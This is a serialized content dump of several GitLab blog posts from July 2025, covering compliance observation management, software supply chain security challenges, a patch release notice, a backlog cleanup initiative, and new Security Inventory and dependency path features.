36384,36401,36419,36436,36454,36472,36490,36508,36525,36543,36561,36578,36596,36614,36631,36650,36668,36685,36702,36722,36740,36757,36775,36795,36811,36828,36844,36862,36880,36897,36915,36933,36951,36969,36986,37003,37020,37035,37054,37071,37089,37104,37122,37138,37155,37172,37191,37210,37226,37244,37263,37281,37299,37315,37333,37350,37368,37386,37404,37423,37439,37457,37476,37494,37512,37529,37547,37565,37582,37601,37619,37637,37654,37671,37688,37707,37723,37740,37759,37777,37796,37814,37832,37850,37868,37887,37904,37921,37938,37956,37973,37992,38010,38029,38047,38066,38084,38102,38120,38138,38156,38174,38191,38209,38226,38244,38262,38281,38300,38318,38337,38354,38371,38389,38408,38426,38444,38461,38479,38498,38515,38533,38552,38570,38587,38605,38621,38639,38657,38674,38691,38709,38726,38743,38759,38776,38794,38812,38830,38847,38864,38882,38899,38916,38934,38951,38969,38987,39004,39020,39037,39054,39071,39089,39107,39124,39143,39161,39178,39196,39213,39230,39247,39264,39282,39299,39317,39334,39352,39369,39387,39404,39422,39439,39457,39474,39492,39509,39527,39546,39564,39582,39599,39616,39633,39650,39666,39683,39700,39717,39734,39752,39769,39787,39804,39821,39838,39856,39874,39890,39907,39925,39943,39961,39980,39998,40016,40035,40053,40071,40090,40108,40125,40142,40160,40178,40196,40215,40233,40252,40270,40287,40304,40321,40338,40355,40371,40389,40406,40423,40440,40458,40475,40493,40510,40527,40544,40561,40578,40596,40613,40630,40647,40663,40680,40697,40714,40731,40748,40765,40782,40799,40816,40833],{"_path":663,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":664,"content":668,"config":677,"_id":680,"_type":16,"title":681,"_source":17,"_file":682,"_stem":683,"_extension":20},"/en-us/blog/how-to-transform-compliance-observation-management-with-gitlab",{"config":665,"title":666,"description":667},{"noIndex":6},"How to transform compliance observation management with GitLab","Learn how GitLab's Security Compliance team improved observation management using the DevSecOps platform, enhancing visibility, collaboration, and accountability.",{"title":666,"description":667,"authors":669,"heroImage":671,"date":672,"body":673,"category":674,"tags":675},[670],"Madeline Lake","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-24","An observation is a compliance finding or deficiency identified during control monitoring. This is essentially a gap between what your security controls should be doing and what they're actually doing. Observations can stem from design deficiencies where the control isn't structured properly to meet requirements, operating effectiveness issues where the control exists but isn't working as intended, or evidence gaps where required documentation or proof of control execution is missing.\n\nThese observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.\n\nObservation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.\n\n## The GitLab observation lifecycle: From identification to resolution\n\nThe lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.\n\nHere are the stages of the observation lifecycle:\n\n**1. Identification**\n\n* Compliance engineers identify potential observations during quarterly monitoring.  \n* Initial validation occurs to confirm the finding represents a genuine control gap.  \n* Detailed documentation begins immediately in a GitLab issue.  \n* The root cause of the observation is determined and a remediation plan to address the root cause is established.\n\n**2. Validation**\n\n* Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).  \n* Remediation owner reviews and confirms they understand and accept ownership.  \n* The remediation plan is reviewed, prioritized, and updated collaboratively as needed.\n\n**3. In-progress**\n\n* Active remediation work begins with clear milestones and deadlines.  \n* Regular updates are provided through GitLab comments and status changes.  \n* Collaboration happens transparently where all stakeholders can see progress.\n\n**4. Remediated**\n\n* Remediation owner marks work complete and provides evidence.  \n* Issue transitions to compliance review for validation.\n\n**5. Resolution**\n\n* Compliance engineer verifies exit criteria are met.  \n* The issue is closed with final documentation.  \n* Lessons learned are captured for future prevention.\n\n**Alternative paths** handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows.\n![Example of observation lifecycle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\u003Ccenter>\u003Ci>Example of observation lifecycle\u003C/i>\u003C/center>\n\n## The power of transparency in GitLab\n\nEffective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.\n\nThe Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts. \n\nOur solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.\n\n### Smart organization through labels and issue boards\n\nGitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated`  \n* **Department:** `~dept::engineering`, `~dept::security`, `~dept::product`   \n* **Risk Severity:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low`  \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems`   \n* **Program:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nThese labels are then leveraged to create issue boards:\n\n* **Workflow boards** visualize the observation lifecycle stages.  \n* **Department boards** show each team's remediation workload.  \n* **Risk-based boards** prioritize critical findings requiring immediate attention.  \n* **System boards** visualize observations by system.  \n* **Program boards** track certification-specific observation resolution.\n\nLabels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.\n\n## Automation: Working smarter, not harder\n\nManaging dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the [triage bot](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage), which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation. \n\nWithin the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.\n\n## Measuring success: Key metrics and reporting\n\nGitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:\n\n**Resolution Efficiency Analysis:** Average time from identification to resolution by department and severity\n\nTrack issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.\n\n**Real-Time Risk Assessment:** Current risk profile based on open critical and high risk observations\n\nLeverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.\n\n**Strategic Resource Allocation:** Department-level risk distribution for targeted improvement efforts\n\nIdentify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.\n\n**Compliance Readiness Monitoring:** Certification-specific observation counts and resolution rates\n\nUtilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.\n\n**Accountability Tracking:** Overdue remediations \n\nMonitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.\n\n**Engagement Health Check:** Observation freshness\n\nTrack recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.\n\n## Advanced strategies: Taking observation management further\n\nHere's what you can do to deepen the impact of observation management in your organization.\n\n**Integrate with security tools** \n\nModern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage. \n\n**Apply predictive analytics** \n\nHistorical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.\n\n**Customize for stakeholders** \n\nEffective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.\n\n## Move from mere compliance to operational excellence\n\nGitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.\n\nThe results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.\n\nMost importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.\n\n> Want to learn more about GitLab's security compliance practices? Check out our [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) for additional insights and implementation guidance.","security",[674,676],"inside GitLab",{"featured":6,"template":678,"slug":679},"BlogPost","how-to-transform-compliance-observation-management-with-gitlab","content:en-us:blog:how-to-transform-compliance-observation-management-with-gitlab.yml","How To Transform Compliance Observation Management With Gitlab","en-us/blog/how-to-transform-compliance-observation-management-with-gitlab.yml","en-us/blog/how-to-transform-compliance-observation-management-with-gitlab",{"_path":685,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":686,"content":689,"config":697,"_id":699,"_type":16,"title":700,"_source":17,"_file":701,"_stem":702,"_extension":20},"/en-us/blog/software-supply-chain-security-guide-why-organizations-struggle",{"noIndex":6,"title":687,"description":688},"Software supply chain security guide: Why organizations struggle","Part 1 of this new series explores fundamental challenges, practical solutions, and emerging trends, including AI, that every development team needs to understand.",{"title":687,"description":688,"authors":690,"heroImage":692,"date":672,"body":693,"category":674,"tags":694},[691],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097701/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_1iy516k40hwBDChKcUJ2zb_1750097700983.png","Ask most development teams about supply chain security, and you'll get answers focused on vulnerability scanning or dependency management. While these are components of supply chain security, they represent a dangerously narrow view of a much broader challenge.\n\n**Supply chain security isn't just about scanning dependencies.** It encompasses the entire journey from code creation to production deployment, including:\n\n* **Source security:** protect code repositories, managing contributor access, ensuring code integrity  \n* **Build security:** secure build environments, preventing tampering during compilation and packaging  \n* **Artifact security:** ensure the integrity of containers, packages, and deployment artifacts  \n* **Deployment security:** secure the delivery mechanisms and runtime environments  \n* **Tool security:** harden the development tools and platforms themselves\n\nThe \"chain\" in supply chain security refers to this interconnected series of steps. A weakness anywhere in the chain can compromise the entire software delivery process.\n\nThe [2020 SolarWinds attack](https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security) illustrates this perfectly. In what became one of the largest supply chain attacks in history, state-sponsored attackers compromised the build pipeline of SolarWinds' Orion network management software. Rather than exploiting a vulnerable dependency or hacking the final application, they injected malicious code during the compilation process itself.\n\nThe result was devastating: More than 18,000 organizations, including multiple U.S. government agencies, unknowingly installed backdoored software through normal software updates. The source code was clean, the final application appeared legitimate, but the build process had been weaponized. This attack remained undetected for months, demonstrating how supply chain vulnerabilities can bypass traditional security measures.\n\n### Common misconceptions that leave organizations vulnerable\n\nDespite growing awareness of supply chain threats, many organizations remain exposed because they operate under fundamental misunderstandings about what software supply chain security actually entails. These misconceptions create dangerous blind spots:\n\n* Thinking software supply chain security equals dependency scanning  \n* Focusing only on open source components while ignoring proprietary code risks  \n* Believing that code signing alone provides sufficient protection  \n* Assuming that secure coding practices eliminate supply chain risks  \n* Treating it as a security team problem rather than a development workflow challenge\n\n![Software supply chain security dependency chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png)\n\n## How AI is changing the game\n\nJust as organizations are grappling with traditional software supply chain security challenges, artificial intelligence (AI)  is introducing entirely new attack vectors and amplifying existing ones in unprecedented ways.\n\n### AI-powered attacks: More sophisticated, more scalable\n\nAttackers are using AI to automate vulnerability discovery, generate convincing social engineering attacks targeting developers, and systematically analyze public codebases for weaknesses. What once required manual effort can now be done at scale — with precision.\n\n### The AI development supply chain introduces new risks\n\nAI is reshaping the entire development lifecycle, but it's also introducing significant security blind spots:\n\n* **Model supply chain attacks:** Pre-trained models from sources like Hugging Face or GitHub may contain backdoors or poisoned training data.  \n* **Insecure AI-generated code:** Developers using AI coding assistants may unknowingly introduce vulnerable patterns or unsafe dependencies.  \n* **Compromised AI toolchains:** The infrastructure used to train, deploy, and manage AI models creates a new attack surface.  \n* **Automated reconnaissance:** AI enables attackers to scan entire ecosystems to identify high-impact supply chain targets.  \n* **Shadow AI and unsanctioned tools:** Developers may integrate external AI tools that haven't been vetted.\n\nThe result? AI doesn't just introduce new vulnerabilities, it amplifies the scale and impact of existing ones. Organizations can no longer rely on incremental improvements. The threat landscape is evolving faster than current security practices can adapt.\n\n![AI amplification effect](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png)\n\n## Why most organizations still struggle\n\nEven organizations that understand supply chain security often fail to act effectively. The statistics reveal a troubling pattern of awareness without corresponding behavior change.\n\nWhen [Colonial Pipeline paid hackers $4.4 million](https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html) in 2021 to restore operations, or when 18,000 organizations fell victim to the SolarWinds attack, the message was clear: Supply chain vulnerabilities can bring down critical infrastructure and compromise sensitive data at unprecedented scale.\n\nYet, despite this awareness, most organizations continue with business as usual. The real question isn't whether organizations care about supply chain security — it's why caring alone isn't translating into effective protection.\n\nThe answer lies in four critical barriers that prevent effective action:\n\n**1. The false economy mindset**\n\nOrganizations sometimes focus on the cost instead of \"what's the most effective approach?\" This cost-first thinking creates expensive downstream problems.\n\n**2. Skills shortage reality**\n\nWith [organizations averaging 4 security professionals per 100 developers](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/), according to BSIMM research, and [90% of organizations reporting critical cybersecurity skills gaps](https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen), according to ISC2, traditional approaches are mathematically impossible to scale.\n\n**3. Misaligned organizational incentives**\n\nDeveloper OKRs focus on feature velocity while security teams measure different outcomes. When C-suite priorities emphasize speed-to-market over security posture, friction becomes inevitable.\n\n**4. Tool complexity overload**\n\nThe [average enterprise uses 45 cybersecurity tools](https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025), with [40% of security alerts being false positives](https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html) and must [coordinate across 19 tools on average for each incident](https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue).\n\nThese barriers create a vicious cycle: Organizations recognize the threat, invest in security solutions, but implement them in ways that don't drive the desired outcomes.\n\n## The true price of supply chain insecurity\n\nSupply chain attacks create risk and expenses that extend far beyond initial remediation. Understanding these hidden multipliers helps explain why prevention is not just preferable – it's essential for business continuity.\n\n**Time becomes the enemy**\n\n* Average time to identify and contain a supply chain breach: [277 days](https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data)  \n* Customer trust rebuilding period: [2-3+ years](https://www.bcg.com/publications/2024/rebuilding-corporate-trust)   \n* Engineering hours diverted from product development to security remediation\n\n**Reputation damage compounds** \n\nWhen attackers compromise your supply chain, they don't just steal data – they undermine the foundation of customer trust. [Customer churn rates typically increase 33% post-breach](https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach), while partner relationships require costly re-certification processes. Competitive positioning suffers as prospects choose alternatives perceived as \"safer.\"\n\n**Regulatory reality bites** \n\nThe regulatory landscape has fundamentally shifted. [GDPR fines now average over $50 million for significant data breache](https://www.skillcast.com/blog/20-biggest-gdpr-fines)s. The EU's new [Cyber Resilience Act](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-\\(cra\\)) mandates supply chain transparency. U.S. federal contractors must provide software bills of materials ([SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) for all software purchases — a requirement that's rapidly spreading to private sector procurement.\n\n**Operational disruption multiplies** \n\nBeyond the direct costs, supply chain attacks create operational chaos such as platform downtime during attack remediation, emergency security audits across entire technology stacks, and legal costs from customer lawsuits and regulatory investigations.\n\n## What's wrong with current approaches\n\nMost organizations confuse security activity with security impact. They deploy scanners, generate lengthy reports, and chase teams to address through manual follow-ups. But these efforts often backfire — creating more problems than they solve.\n\n### Massive scanning vs. effective protection\n\nEnterprises generate over [10,000 security alerts each month, with the most active generating roughly 150,000 events per day.](https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/) [But 63%](https://panther.com/blog/identifying-and-mitigating-false-positive-alerts) of these are false positives or low-priority noise. Security teams become overwhelmed and turn into bottlenecks instead of enablers.\n\n### The collaboration breakdown\n\nThe most secure organizations don't have the most tools; they have the strongest DevSecOps collaboration. But most current setups make this harder by splitting workflows across incompatible tools, failing to show developers security results in their environment, and offering no shared visibility into risk and business impact.\n\n## The path forward\n\nUnderstanding these challenges is the first step toward building effective supply chain security. The organizations that succeed don't just add more security tools, they fundamentally rethink how security integrates with development workflows. They also review end-to-end software delivery workflows to simplify processes, reduce tools and improve collaboration.\n\nAt GitLab, we've seen how integrated DevSecOps platforms can address these challenges by bringing security directly into the development workflow. In our next article in this series, we'll explore how leading organizations are transforming their approach to supply chain security through developer-native solutions, AI-powered automation, and platforms that make security a natural part of building great software.\n> Learn more about [GitLab's software supply chain security capabilities](https://about.gitlab.com/solutions/supply-chain/).",[674,695,696],"product","tutorial",{"featured":92,"template":678,"slug":698},"software-supply-chain-security-guide-why-organizations-struggle","content:en-us:blog:software-supply-chain-security-guide-why-organizations-struggle.yml","Software Supply Chain Security Guide Why Organizations Struggle","en-us/blog/software-supply-chain-security-guide-why-organizations-struggle.yml","en-us/blog/software-supply-chain-security-guide-why-organizations-struggle",{"_path":704,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":705,"content":709,"config":717,"_id":720,"_type":16,"title":721,"_source":17,"_file":722,"_stem":723,"_extension":20},"/en-us/blog/gitlab-patch-release-18-2-1-18-1-3-18-0-5",{"config":706,"title":707,"description":708},{"noIndex":92},"GitLab Patch Release: 18.2.1, 18.1.3, 18.0.5","Learn more about this patch release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"title":707,"description":708,"authors":710,"heroImage":712,"date":713,"body":714,"category":695,"tags":715},[711],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg","2025-07-23","Click here for [GitLab Patch Release: 18.2.1, 18.1.3, 18.0.5](https://about.gitlab.com/releases/2025/07/23/patch-release-gitlab-18-2-1-released/).",[716],"patch releases",{"featured":6,"template":678,"externalUrl":718,"slug":719},"https://about.gitlab.com/releases/2025/07/23/patch-release-gitlab-18-2-1-released/","gitlab-patch-release-18-2-1-18-1-3-18-0-5","content:en-us:blog:gitlab-patch-release-18-2-1-18-1-3-18-0-5.yml","Gitlab Patch Release 18 2 1 18 1 3 18 0 5","en-us/blog/gitlab-patch-release-18-2-1-18-1-3-18-0-5.yml","en-us/blog/gitlab-patch-release-18-2-1-18-1-3-18-0-5",{"_path":725,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":726,"content":729,"config":737,"_id":739,"_type":16,"title":740,"_source":17,"_file":741,"_stem":742,"_extension":20},"/en-us/blog/inside-gitlabs-healthy-backlog-initiative",{"noIndex":6,"title":727,"description":728},"Inside GitLab's Healthy Backlog Initiative","Learn how we are refining issue management to prioritize strategic work, improve delivery, and create stronger feedback loops with users.",{"title":727,"description":728,"authors":730,"heroImage":732,"date":713,"body":733,"category":734,"tags":735},[731],"Stan Hu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664458/Blog/Hero%20Images/Gartner_AI_Code_Assistants_Blog_Post_Cover_Image_1800x945.png","At GitLab, we are proud of the strong, collaborative relationship with our community. We encourage everyone to contribute to GitLab. Over the years, those community contributions have helped strengthen the GitLab platform. But as we've grown, community participation via GitLab issues has grown, resulting in an unwieldy issue backlog. \n\nGitLab's Product and Engineering teams recently launched the [Healthy Backlog Initiative](https://gitlab.com/groups/gitlab-org/-/epics/18639) to address this backlog and refine our approach to managing contributed issues going forward.\n\nIssues with ongoing community engagement, recent activity, or a clear strategic alignment will remain open. We'll be closing issues that are no longer relevant, lack community interest, or no longer fit our current product direction.\n\nThis focus will lead to increased innovation, better expectation setting, and faster development and delivery cycles of community-contributed capabilities.\n\n## What is the Healthy Backlog Initiative?  \n\nOver time, the GitLab community has submitted tens of thousands of issues, including bugs, feature requests, and feedback items. Currently, the [main GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues) contains over 65,000 issues, some are no longer applicable to the platform and others remain relevant today.\n\nOur Healthy Backlog Initiative will cull the backlog and establish a workstream for our Product and Engineering teams to implement a more focused approach to backlog management. They will conduct weekly assessments of the backlog to ensure that we prioritize issues that align with our product strategy and roadmap.\n\n**Note:** If you believe a closed issue does align with GitLab’s product strategy and roadmap, or if you're actively contributing to the request, we strongly encourage you to comment on the issue with updated context and current details. We are committed to reviewing these updated issues as part of our regular assessment efforts. \n\n## How does this change benefit you?\n\nThis streamlined approach means direct, tangible improvements for every GitLab user:\n\n* **Sharper focus and faster delivery:** By narrowing our backlog to strategically aligned features, we can dedicate development resources more effectively. This means you can expect shorter development cycles and more meaningful improvements to your GitLab experience.  \n\n* **Clearer expectations:** We are committed to transparent communication about what's on our roadmap and what isn't, empowering you to make informed decisions about your workflows and contributions.  \n\n* **Accelerated feedback loops:** With a clean backlog, new feedback and feature requests will be reviewed and prioritized more efficiently, reducing overall triage time and ensuring timely issues receive the necessary attention. This creates a more responsive feedback loop for everyone.  \n\nThis initiative does not diminish the significance of community feedback and contributions. We are taking this action to create clarity around what GitLab Team Members can realistically commit to delivering, and to ensure that all feedback receives proper consideration.\n\n## Looking forward\n\nThe GitLab Healthy Backlog Initiative reflects our commitment to being transparent and effective stewards of the GitLab platform. By clearly communicating our priorities and focusing our efforts on what we can realistically deliver over the next year, we're better positioned to meet and exceed your expectations.\n\nYour continued participation and feedback help make GitLab stronger. Every comment, merge request, bug report, and feature suggestion contributes to our shared vision. And we’re still rewarding you for that as well, with initiatives like our monthly Notable Contributor program, Swag rewards for leveling up, Hackathon winners, and more, all available through our [Contributor Portal](https://contributors.gitlab.com).\n> To learn more about how to contribute to GitLab, [visit our community site](https://about.gitlab.com/community/). To share feedback on this project, please add your comments on [the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/556865) in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/18639).","engineering",[267,695,736],"news",{"featured":92,"template":678,"slug":738},"inside-gitlabs-healthy-backlog-initiative","content:en-us:blog:inside-gitlabs-healthy-backlog-initiative.yml","Inside Gitlabs Healthy Backlog Initiative","en-us/blog/inside-gitlabs-healthy-backlog-initiative.yml","en-us/blog/inside-gitlabs-healthy-backlog-initiative",{"_path":744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":745,"content":748,"config":755,"_id":757,"_type":16,"title":758,"_source":17,"_file":759,"_stem":760,"_extension":20},"/en-us/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"noIndex":6,"title":746,"description":747},"Bridging the visibility gap in software supply chain security","GitLab 18.2 includes support for comprehensive scanner coverage and transitive dependency visualization.",{"title":746,"description":747,"authors":749,"heroImage":712,"date":751,"body":752,"category":674,"tags":753},[750],"Salman Ladha","2025-07-21","Our most recent release, [GitLab 18.2](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/), introduces two new capabilities to improve software supply chain security: Security Inventory and Dependency Path visualization.\n\nSecurity Inventory gives Application Security teams a centralized, portfolio-wide view of risk and scan coverage across their GitLab groups and projects, helping them identify blind spots and prioritize risk mitigation efforts. Dependency Path visualization equips developers with a clear view of how open source vulnerabilities are introduced through the dependency chain, making it easier to pinpoint the right fix.\n\nTogether, these capabilities help security and development teams build more secure applications by providing visibility into where risks exist, context to remediate them, and workflows that support collaboration. Unlike other solutions, this all happens in the same platform developers use to build, review, and deploy software, creating a developer and AppSec experience without the overhead of integrations.\n\n## Open source widens the attack surface area\n\nModern applications [heavily](https://about.gitlab.com/developer-survey/) rely on open source software. However, open source introduces a significant security risk — components can be outdated, unmaintained, or unknowingly expose vulnerabilities. That's why Software Composition Analysis (SCA) has become a cornerstone of modern AppSec programs.\n\nA key challenge in vulnerability management is effectively managing *transitive dependency risk*. These components are often buried deep in the dependency chain, making it difficult to trace how a vulnerability was introduced or determine what needs to be updated to fix it. Worse, they account for nearly [two-thirds](https://arxiv.org/abs/2503.22134?) of known open source vulnerabilities. Without clear visibility into the full dependency path, teams are left guessing, delaying remediation and increasing risk.\n\n> Transitive dependencies are packages that your application uses indirectly. They're pulled in automatically by the direct dependencies you explicitly include. These nested dependencies can introduce vulnerabilities without the developer ever knowing they're in the project.\n\nThis challenge becomes exponentially more difficult at scale. When security teams are responsible for hundreds, or even thousands, of repositories — each with their own dependencies, build pipelines, and owners — answering fundamental questions on application security risk posture becomes challenging. And in an era of growing software supply chain threats, where vulnerabilities can propagate across systems through shared libraries and CI/CD configurations, these blind spots take on even greater consequence.\n\n## Security Inventory: Visibility that scales\nSecurity Inventory consolidates risk information across all your groups and projects into a unified view. It highlights which assets are covered by security scans and which aren't. Rather than managing issues in isolation, security teams can assess posture holistically and identify where to focus efforts.\n\nThis level of centralization is especially critical for organizations managing a large number of repositories. It allows platform and AppSec teams to understand where risk exists by highlighting unscanned or underprotected projects, but also enables them to take action directly from the interface. Teams can go beyond just awareness to enforcement with the full context and understanding of which applications pose the greatest risk. By turning fragmented insights into a single source of truth, Security Inventory enables organizations to move from reactive issue triage to strategic, data-driven security governance.\n![Security Inventory display](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png)\nLearn more by watching Security Inventory in action:\n\u003C!-- blank line --> \u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure> \u003C!-- blank line -->\n## Dependency Path visualization: Clarity for effective remediation\n\nSecurity Inventory shows where the risks are at a high level; Dependency Path visualization shows how to fix them.\n\nWhen a vulnerability is discovered deep in a dependency chain, identifying the correct fix can be complicated. Most security tools will highlight the affected package but stop short of explaining how it entered the codebase. Developers are left guessing which dependencies are directly introduced and which are pulled in transitively, making it difficult to determine where a change is needed, or worse, applying patches that don't address the root cause.\n\nOur new Dependency Path visualization, sometimes referred to as a dependency graph, displays the full route from a top-level package to the vulnerable component following an SCA scan. This clarity is essential, especially given how pervasive deeply embedded vulnerabilities are in dependency chains. And since it's built into the GitLab workflow, developers gain actionable insight without context switching or guesswork. Security teams can more effectively triage issues while developers get assurance that remediations are addressing root causes.\n![Dependency path visualization](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png)\n## Mitigate risk with developer-first security\n\nThese capabilities are part of GitLab's broader strategy to deliver security within the same platform where code is planned, built, and deployed. By embedding security insights into the DevSecOps workflow, GitLab reduces friction and drives collaboration between development and security teams.\n\nSecurity Inventory and Dependency Path visualization provide complementary perspectives: the former enables scale-aware oversight, the latter supports precision fixes. This alignment helps teams prioritize what matters most and close gaps without adding new tools or complex integrations.\n\n> Get started with Security Inventory and Dependency Path visualization today! Sign up for a [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n## Read more\n- [GitLab 18.2 released](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/)\n\n- [GitLab security solutions](https://about.gitlab.com/solutions/security-compliance/)\n\n- [A field guide to threat vectors in the sofware supply chain](https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/)",[674,754,695],"features",{"featured":92,"template":678,"slug":756},"bridging-the-visibility-gap-in-software-supply-chain-security","content:en-us:blog:bridging-the-visibility-gap-in-software-supply-chain-security.yml","Bridging The Visibility Gap In Software Supply Chain 